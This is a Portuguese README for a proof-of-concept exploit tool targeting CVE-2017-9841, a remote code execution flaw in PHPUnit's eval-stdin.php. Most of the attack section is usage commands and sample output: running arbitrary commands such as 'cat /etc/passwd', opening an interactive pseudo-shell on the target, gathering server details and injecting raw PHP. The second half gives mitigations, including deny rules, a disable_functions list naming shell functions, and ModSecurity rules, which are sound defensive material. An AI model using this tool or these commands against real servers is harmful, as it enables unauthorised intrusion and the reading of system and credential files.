
CVE-2017-9841 é uma vulnerabilidade de Execução Remota de Código (RCE) na biblioteca PHPUnit que afeta versões anteriores a 5.6.3 e 6.x anteriores a 6.4.2.
⚠️ AVISO: Esta ferramenta destina-se exclusivamente a fins educacionais e testes de segurança autorizados. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal. O autor não assume nenhuma responsabilidade pelo uso indevido desta ferramenta.
CVE-2017-9841 é uma vulnerabilidade de Execução Remota de Código (RCE) na biblioteca PHPUnit que afeta versões anteriores a 5.6.3 e 6.x anteriores a 6.4.2.
A vulnerabilidade existe em src/Util/PHP/eval-stdin.php, que executa código PHP recebido via php://input (corpo da requisição POST) usando a função eval(). Se este arquivo estiver acessível publicamente (por exemplo, dentro de um diretório vendor/ desprotegido), um atacante pode executar código PHP arbitrário no servidor sem autenticação.
// vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
eval('?>' . file_get_contents('php://input'));
Este arquivo aceita código PHP vindo do corpo da requisição POST e o executa imediatamente via eval() sem qualquer autenticação ou validação.
requestspip install requests
git clone <url-do-repositorio>
cd CVE-2017-9841
chmod +x poc_cve-2017-9841.py
python3 poc_cve-2017-9841.py -u <URL> [opções]
A flag -u aceita tanto uma URL base (adiciona automaticamente o caminho vulnerável) quanto uma URL completa apontando diretamente para eval-stdin.php.
python3 poc_cve-2017-9841.py -u 'https://target.com' --check
Saída:
[*] Alvo : https://target.com
[*] Endpoint: https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
[*] Verificando vulnerabilidade em: ...
[+] Arquivo acessível (HTTP 200)
[+] VULNERÁVEL! Execução de código confirmada.
[+] Resposta: VULN_CHECK_OK_2017_9841
# Comando único
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'whoami'
# Múltiplos comandos
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'id && hostname && uname -a'
# Ler um arquivo
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd'
# Salvar saída em arquivo
python3 poc_cve-2017-9841.py -u 'https://target.com' -c 'cat /etc/passwd' -o resultado.txt
python3 poc_cve-2017-9841.py -u 'https://target.com' --info
Saída:
=== INFORMAÇÕES DO SERVIDOR ===
Versão PHP : 8.x.x
SO : Linux
SAPI : fpm-fcgi
Usuário : www-data
Hostname : web-server-01
IP Servidor : 192.168.1.100
Diretório Atual: /var/www/html/app/vendor/phpunit/phpunit/src/Util/PHP
Raiz do Doc : /var/www/html/
Servidor Web: Apache
Limite de Memória: 256M
Máx Exec : 30s
Open Basedir: (nenhum)
Funções Desabilitadas: (nenhuma)
=== FUNÇÕES PERIGOSAS ===
system: SIM
exec: SIM
passthru: SIM
shell_exec: SIM
proc_open: SIM
popen: SIM
curl_exec: SIM
python3 poc_cve-2017-9841.py -u 'https://target.com' --shell
Saída:
[*] Pseudo-shell (digite 'exit' ou 'quit' para sair)
--------------------------------------------------
www-data@web-server-01$ whoami
www-data
www-data@web-server-01$ ls -la /var/www/html/
total 12
drwxr-xr-x 4 www-data www-data 4096 Jun 11 00:00 .
drwxr-xr-x 3 root root 4096 Jan 01 00:00 ..
drwxr-xr-x 8 www-data www-data 4096 Jun 11 00:00 app
www-data@web-server-01$ exit
[*] Saindo do shell.
python3 poc_cve-2017-9841.py -u 'https://target.com' --find-path
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--path '/custom/path/eval-stdin.php' -c 'whoami'
python3 poc_cve-2017-9841.py \
-u 'https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php' \
-c 'whoami'
python3 poc_cve-2017-9841.py -u 'https://target.com' \
--php '<?php phpinfo(); ?>'
sudo rm /caminho/do/projeto/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
Adicione um arquivo .htaccess dentro do diretório vendor/:
# /caminho/do/projeto/vendor/.htaccess
Deny from all
Ou configure no VirtualHost do Apache:
<Directory "/caminho/do/projeto/vendor">
Require all denied
</Directory>
Para Nginx:
location /vendor/ {
deny all;
return 403;
}
cd /caminho/do/projeto
composer install --no-dev --optimize-autoloader
disable_functions no php.ini; /etc/php/8.4/fpm/php.ini
disable_functions = system,exec,passthru,shell_exec,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
open_basedir; /etc/php/8.4/fpm/php.ini ou no VirtualHost
open_basedir = /var/www/html/projeto:/tmp
max_execution_timemax_execution_time = 30
sudo systemctl restart php8.4-fpm
# ou
sudo systemctl restart php-fpm
composer require --dev phpunit/phpunit:^10.0
composer update phpunit/phpunit
Exemplo ModSecurity:
SecRule REQUEST_URI "eval-stdin\.php" \
"id:1000001,phase:1,deny,status:403,msg:'CVE-2017-9841 Block'"
SecRule REQUEST_URI "/vendor/" \
"id:1000002,phase:1,deny,status:403,msg:'Bloquear acesso ao diretório vendor'"
# Exemplo: GitHub Actions
- name: Instalar apenas dependências de produção
run: composer install --no-dev --optimize-autoloader
- name: Remover arquivos de teste e scripts vulneráveis
run: |
rm -rf vendor/phpunit
rm -rf vendor/mockery
rm -rf tests/
find vendor -name "eval-stdin.php" -delete
┌──────────────────────────────┐
│ Atacante │
└──────────────┬───────────────┘
│ POST (código PHP)
▼
┌─────────────────────────────────────────────────────────────┐
│ Servidor Apache │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php │ │
│ │ │ │
│ │ eval('?>' . file_get_contents('php://input')); │ │
│ │ ▲ │ │
│ └───────────┼───────────────────────────────────────────┘ │
│ │ │
│ ▼ │
│ ┌───────────────────────────────────────────────────────┐ │
│ │ Execução de Código Arbitrário │ │
│ │ │ │
│ │ - Ler/Escrever arquivos no servidor │ │
│ │ - Acessar credenciais de banco de dados │ │
│ │ - Movimento lateral para rede interna │ │
│ │ - Instalar backdoors / webshells │ │
│ │ - Escalação de privilégio │ │
│ └───────────────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────────────┘
As seguintes condições aumentam significativamente a gravidade e a explorabilidade desta vulnerabilidade:
Esta ferramenta é fornecida apenas para fins educacionais e testes de segurança autorizados.
| Campo | Valor |
|---|
| ID CVE | CVE-2017-9841 |
| Pontuação CVSS | 9.8 (Crítica) |
| Afetados | PHPUnit < 5.6.3, 6.x < 6.4.2 |
| Tipo | Execução Remota de Código (RCE) |
| Autenticação | Não necessária |
| Vetor | Rede (remoto) |
| Publicado | 27 de junho de 2017 |
| Referência | NVD |
| Flag | Descrição |
|---|
-u, --url URL | URL base do alvo ou URL completa para eval-stdin.php |
-c, --cmd CMD | Comando de CLI a ser executado no servidor alvo |
--check | Verificar se o alvo é vulnerável sem executar comandos |
--shell | Abrir um pseudo-shell interativo |
--info | Coletar informações do servidor (somente leitura) |
--find-path | Escanear caminhos comuns para localizar eval-stdin.php |
--path CAMINHO | Especificar um caminho personalizado para eval-stdin.php |
--timeout N | Tempo limite da requisição em segundos (padrão: 30) |
-o, --output ARQUIVO | Salvar a saída do comando em um arquivo |
--php CÓDIGO | Executar código PHP bruto em vez de comandos do sistema |
| Fator | Impacto |
|---|
disable_functions vazio | Todas as funções PHP estão disponíveis (system, exec, etc.) |
open_basedir não configurado | Atacante pode ler/escrever arquivos em todo o sistema de arquivos |
Alto max_execution_time | Atacante tem mais tempo por requisição para cargas úteis complexas |
| Extensão FFI carregada | Permite chamadas diretas a funções C, contornando restrições PHP |
| Extensões de banco de dados carregadas | Possíveis conexões diretas a bancos de dados (mysqli, pgsql, etc.) |
| Nenhum WAF implantado | Nenhuma filtragem ou bloqueio de requisições |
| Sem IDS/IPS em vigor | Nenhuma detecção de anomalias ou alertas |
| Dependências de desenvolvimento em produção | Expande a superfície de ataque desnecessariamente |